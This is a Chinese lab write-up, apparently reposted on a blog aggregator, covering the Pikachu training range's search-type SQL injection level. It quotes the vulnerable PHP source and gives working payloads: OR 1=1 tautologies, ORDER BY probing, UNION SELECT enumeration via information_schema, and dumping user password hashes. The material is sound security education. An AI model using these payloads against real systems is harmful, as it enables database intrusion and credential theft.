pikachu靶场通关笔记20 SQL注入03-搜索型注入(GET)

news2025/7/27 3:01:12

目录

一、SQL注入

二、搜索型注入

三、源码分析

1、渗透思路1

2、渗透思路2

四、渗透实战

1、渗透准备

2、SQL注入探测

(1)输入百分号单引号

(2)万能注入语句

3、获取回显列orderby

4、获取数据库名database

5、获取表名table

6、获取列名column

7、获取字段


本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关)渗透集合,通过对搜索型注入关卡源码的代码审计找到SQL安全风险的真实原因,讲解搜索型注入的原理并进行渗透实践,本文为SQL注入03之搜索型注入关卡的渗透部分。

一、SQL注入

SQL注入是指攻击者通过在Web应用程序的输入字段(如表单、URL参数、Cookie等)中插入恶意的SQL语句片段,当应用程序将这些输入直接拼接到SQL查询语句中并执行时,攻击者插入的恶意SQL语句会被执行,从而实现对数据库的非法操作。

二、搜索型注入

搜索型注入是SQL注入的一种特殊形式,主要出现在网站搜索功能中,具有独特的攻击特点和利用方式。搜索型注入的基本特征大概如下所示。

  1. 出现场景:搜索框、筛选条件、动态查询等需要用户输入查询条件的功能

  2. SQL模式:通常使用LIKECONCAT等字符串操作函数

  3. 输入处理:用户输入往往被包裹在百分号(%)或引号中

三、源码分析

打开pikachu靶场的SQL注入-字符型关卡对应的源码sqli_search.php,很明显查询语句没有对GET方法传入的参数name进行过滤,存在SQL注入风险,具体如下所示。

这段 PHP 代码的主要功能是处理一个通过 GET 方法提交的表单。当用户在 URL 中传递 submit 参数且 name 参数不为空时,代码会将用户输入的 name 作为条件,从 member 表中查询对应的 id 和 email 信息。如果查询到结果,则将用户的 id 和 email 信息以 HTML 段落的形式显示出来;如果没有查询到结果,则提示用户输入的 username 不存在。同时,代码还会根据当前脚本文件名设置导航栏的激活状态,并包含项目的头部文件、配置文件、功能函数文件和 MySQL 操作文件。

<?php
// 调用 connect 函数建立与数据库的连接,并将连接对象赋值给变量 $link
$link = connect();

// 初始化两个用于存储 HTML 内容的变量,$html1 用于存储查询结果相关的 HTML,$html2 用于存储提示信息相关的 HTML
$html1 = '';
$html2 = '';

// 检查是否通过 GET 方法提交了表单,并且表单中名为 'name' 的字段不为空
if (isset($_GET['submit']) && $_GET['name'] != null) {
    // 从 GET 请求中获取名为 'name' 的字段的值,并将其赋值给变量 $name
    $name = $_GET['name'];

    // 构造一个 SQL 查询语句,使用 LIKE 关键字进行模糊匹配,将用户输入的 $name 直接拼接到查询语句中
    // 此查询的目的是从 member 表中选取 username 包含用户输入值的记录的 username、id 和 email 字段
    $query = "select username,id,email from member where username like '%$name%'";

    // 调用 execute 函数执行构造好的 SQL 查询,$link 是数据库连接对象
    $result = execute($link, $query);

    // 检查查询结果集中的行数是否大于等于 1
    // mysqli_num_rows 函数用于获取结果集中的行数
    if (mysqli_num_rows($result) >= 1) {
        // 这里存在 XSS(跨站脚本攻击)风险,直接将用户输入的 $_GET['name'] 输出到 HTML 中
        $html2 .= "<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";
        // 当结果集中有记录时,使用 while 循环逐行获取结果集的数据
        // mysqli_fetch_assoc 函数会以关联数组的形式返回结果集中的一行数据
        while ($data = mysqli_fetch_assoc($result)) {
            // 从关联数组 $data 中获取 'username' 字段的值,并赋值给变量 $uname
            $uname = $data['username'];
            // 从关联数组 $data 中获取 'id' 字段的值,并赋值给变量 $id
            $id = $data['id'];
            // 从关联数组 $data 中获取 'email' 字段的值,并赋值给变量 $email
            $email = $data['email'];
            // 将用户信息拼接成 HTML 字符串,添加到变量 $html1 中
            $html1 .= "<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";
        }
    } else {
        // 如果结果集中没有记录,将提示信息拼接成 HTML 字符串,添加到变量 $html1 中
        $html1 .= "<p class='notice'>0o。..没有搜索到你输入的信息!</p>";
    }
}
?>

此代码存在 SQL 注入安全风险的根本原因在于对用户输入的 $name 没有进行任何过滤和验证,就直接将其拼接到 SQL 查询语句里。由于使用了 LIKE 关键字进行模糊匹配,且 $name 被包含在单引号和 % 之间,攻击者可以利用这一特性构造恶意输入。 

select username,id,email from member where username like '%$name%'

1、渗透思路1

攻击者在 URL 中输入 ?submit=搜索&name=xxx%' OR '1'='1 ,实际执行的 SQL 查询如下所示。

select username,id,email from member where username like '%xxx%' OR '1'='1'

因为 '1'='1' 恒为真,这个查询会返回 member 表中的所有记录,攻击者借此就能获取到所有用户的username,id 和 email 信息。 

2、渗透思路2

也可以URL 中输入 ?submit=搜索&name=xxx%' OR 1=1#,其中#注释掉了原本的单引号,实际执行的 SQL 查询如下所示。

select username,id,email from member where username like '%xxx%' OR 1=1#'

四、渗透实战

1、渗透准备

打开靶场SQL注入第三关搜索型注入,完整URL链接如下所示。

http://127.0.0.1/pikachu/vul/sqli/sqli_search.php

输入已知账户“lili”,页面显示了用户名、用户id和邮箱信息,这与代码审计的分析一致。根据此时URL地址可知GET方法传入的参数为name。

http://127.0.0.1/pikachu/vul/sqli/sqli_search.php?name=lili&submit=%E6%90%9C%E7%B4%A2

2、SQL注入探测

(1)输入百分号单引号

根据源码我们知道name为字符型注入点,那么我们从页面上能否发现有SQL注入呢?其实也是可疑的,在lili加上单引号,报错信息说明有注入风险,如下所示。

lili%'

完整的报错信息为“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%'' at line 1”。 

(2)万能注入语句

接下来尝试万能注入语句,判断闭合语句,在数字后加上单引号 or= 1=1#万能注入语句,其中单引号是为了构造闭合,如下所示。

lili%' or 1=1#

3、获取回显列orderby

使用order by判断其可回显的字段,如下所示最终判断其回显列数为3个。

lili%' order by 5#

lili%' order by 3#

lili%' union select 1,2,3#

由于回显位共3个,且通过orderby获知仅有3列,故而可知这3列已经全部显示出来了,即第一个回显位、第二个回显位和第三个回显位都有效。

4、获取数据库名database

lili%' union select database(),user(),version()#

输入lili' union select database(),user(),version()#后注入成功,显示信息为3个,第一个获取到数据库名为pikachu,第二个获取到用户为root@localhost,第三个获取到版本号为5.7.26,具体如下所示。 

接下来修改union前面的字符串,使前面内容为不存在的用户名,使只输出union后面的内容。 

-1%' union select database(),user(),version()#

输入id=-1 union select database(),user(),version()#后注入成功,显示信息为1个,可以直接获取到数据库名为pikachu,用户名为root@localhost,版本号为5.7.26,具体如下所示。 

5、获取表名table

对pikchu数据库中表名进行爆破,注入命令如下所示。

id=-1%' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#

渗透后获取到数据库pikachu表有4个table,分别为httpinfo,member,message,users,xssblind,如下所示。

6、获取列名column

对pikchu数据库中users表中的列名进行爆破,注入命令如下所示。

-1%' union select 1,group_concat(column_name) from information_schema.columns where table_schema="pikachu" and table_name='users'#

渗透后获取到数据库users表有4个column列,分别为id,username,password,level,如下所示。 

7、获取字段

对pikachu数据库中users表的username、password列进行爆破,命令如下所示。

-1%' union select 1,2,group_concat(username,':',password) from pikachu.users#

渗透后获取到数据库users表的username、password字段如下所示,渗透成功。  

admin:e10adc3949ba59abbe56e057f20f883e,pikachu:670b14728ad9902aecba32e22fa4f6bd,test:e99a18c428cb38d5f260853678922e03

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2404326.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

产品笔试专业名词梳理

目录 产品常识 四种常见广告形式 贴片广告 中插广告 信息流广告 横幅广告 BAT和TMD BAT TMD 付费渗透率 蓝海市场、红海市场 蓝海市场 红海市场 竞品研究 SWOT分析 SWOT分析的核心目的&#xff1a; SWOT分析的优点&#xff1a; SWOT分析的局限与注意事项&…

【前端】es6相关,柯里化

0. 严格模式 严格模式的概念从ES6引进。通过严格模式&#xff0c;可以在函数内部选择进行较为严格的全局或局部的错误条件检测。 MDN中严格模式的描述 严格模式通过抛出错误来消除了一些原有静默错误严格模式修复了一些导致 JavaScript引擎难以执行优化的缺陷&#xff1a;有时…

51单片机基础部分——矩阵按键检测

前言 上一节&#xff0c;我们说到了独立按键的检测以及使用&#xff0c;但是独立按键每一个按键都要对应一个IO口进行检测&#xff0c;在一些需要多按键的情况下&#xff0c;使用过多的独立按键会过多的占用单片机的IO资源&#xff0c;为了解决这个问题的出现&#xff0c;我们…

SpringBoot2.3.1集成Knife4j接口文档

首先要查看项目中pom文件里面有没有swagger和knife4j的依赖&#xff0c;如果有的话删除&#xff0c;加入以下依赖 <!-- swagger --><dependency><groupId>com.github.xiaoymin</groupId><artifactId>knife4j-openapi3-spring-boot-starter</…

容器安全最佳实践:云原生环境下的零信任架构实施

&#x1f4cb; 目录 引言&#xff1a;容器安全的重要性零信任架构基础理论云原生环境的安全挑战容器安全威胁模型分析零信任架构在容器环境中的实施关键技术组件与工具安全策略与最佳实践监控与响应机制案例研究与实施路径未来发展趋势 引言 随着容器技术和云原生架构的快速…

[BIOS]VSCode zx-6000 编译问题

前提&#xff1a;Python 3.6.6及以上版本安装成功&#xff0c;Python 3.6.6路径加到了环境变量# DEVITS工具包准备好 问题&#xff1a;添加环境变量 1&#xff1a;出现环境变量错误&#xff0c;“py -3” is not installed or added to environment variables #先在C:\Windows里…

CICD实战(二)-----gitlab的安装与配置

1、安装gitlab所需要的依赖包与工具 sudo yum install wget net-tools sudo yum install curl policycoreutils openssh-server openssh-clients postfix -y 2、配置清华源 vim /etc/yum.repo.d/gitlab-ce.repo[gitlab-ce] namegitlab-ce baseurlhttp://mirrors.tuna.tsin…

[GitHub] 优秀开源项目

1 工具类 1.1 桌面猫咪互动 BongoCat

Linux中su与sudo命令的区别:权限管理的关键差异解析

&#x1f49d;&#x1f49d;&#x1f49d;欢迎莅临我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐&#xff1a;「storms…

《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析LLP (二)

低层协议&#xff08;Low Level Protocol, LLP&#xff09;详细解析 1. 低层协议&#xff08;Low Level Protocol, LLP&#xff09;核心特性 包基础 &#xff1a;基于字节的包协议&#xff0c;支持 短包 &#xff08;32位&#xff09;和 长包 &#xff08;可变长度&#xff0…

第4天:RNN应用(心脏病预测)

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 目标 具体实现 &#xff08;一&#xff09;环境 语言环境&#xff1a;Python 3.10 编 译 器: PyCharm 框 架: Pytorch &#xff08;二&#xff09;具体步骤…

GIC700概述

GIC-700是用于处理外设与处理器核之间&#xff0c;以及核与核之间中断的通用中断控制器。GIC-700支持分布式微体系结构&#xff0c;其中包含用于提供灵活GIC实现的几个独立块。 GIC700支持GICv3、GICv3.1、GICv4.1架构。 该微体系结构规模可从单核到互联多chip环境&#xff0…

统信桌面专业版如何使用python开发平台jupyter

哈喽呀&#xff0c;小伙伴们 最近有学员想了解在统信UOS桌面专业版系统上开发python程序&#xff0c;Anaconda作为python开发平台,anaconda提供图形开发平台,提供大量的开发插件和管理各种插件的平台&#xff0c;但是存在版权问题&#xff0c;有没有其他工具可以替代Anaconda呢…

什么是预训练?深入解读大模型AI的“高考集训”

1. 预训练的通俗理解&#xff1a;AI的“高考集训” 我们可以将预训练&#xff08;Pre-training&#xff09; 形象地理解为大模型AI的“高考集训”。就像学霸在高考前需要刷五年高考三年模拟一样&#xff0c;大模型在正式诞生前&#xff0c;也要经历一场声势浩大的“题海战术”…

鸿蒙仓颉语言开发实战教程:购物车页面

大家上午好&#xff0c;仓颉语言商城应用的开发进程已经过半&#xff0c;不知道大家通过这一系列的教程对仓颉开发是否有了进一步的了解。今天要分享的购物车页面&#xff1a; 看到这个页面&#xff0c;我们首先要对它简单的分析一下。这个页面一共分为三部分&#xff0c;分别是…

OPENCV的AT函数

一.AT函数介绍 在 OpenCV 中&#xff0c;at&#xff08;&#xff09; 是一个模板成员函数&#xff0c;用于访问和修改矩阵或图像中特定位置的元素。它提供了一种直接且类型安全的方式来操作单个像素值&#xff0c;但需要注意其性能和类型匹配问题 AT函数是OPENCV中重要的函数…

ISO 17387——解读自动驾驶相关标准法规(LCDAS)

Intelligent transport systems — Lane change decision aid systems (LCDAS) — Performance requirements and test procedures(First edition: 2008-05-01) 原文链接&#xff1a;https://cdn.standards.iteh.ai/samples/43654/701fd49bde7b4d3db165444b7c6f0c53/ISO-17387…

智慧零售管理中的客流统计与属性分析

智慧零售管理中的视觉分析技术应用 一、背景与需求 随着智慧零售的快速发展&#xff0c;传统零售门店面临管理效率低、安全风险高、客户体验差等问题。通过视觉分析技术&#xff0c;智慧零售管理系统可实现对门店内人员行为的实时监控与数据分析&#xff0c;从而提升运营效率…

Ps:Adobe PDF 预设

Ps菜单&#xff1a;编辑/Adobe PDF 预设 Edit/Adobe PDF Presets 通过“Adobe PDF 预设” Adobe PDF Presets对话框&#xff0c;可以查看 Adobe PDF 预设&#xff0c;了解复杂的 PDF 设置。还可以编辑、新建、删除、载入预设&#xff0c;根据最终用途&#xff08;如高质量打印、…

靶场(二十)---靶场体会小白心得 ---jacko

老样子开局先看端口&#xff0c;先看http端口 PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: H2 Database Engine (redirect) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header:…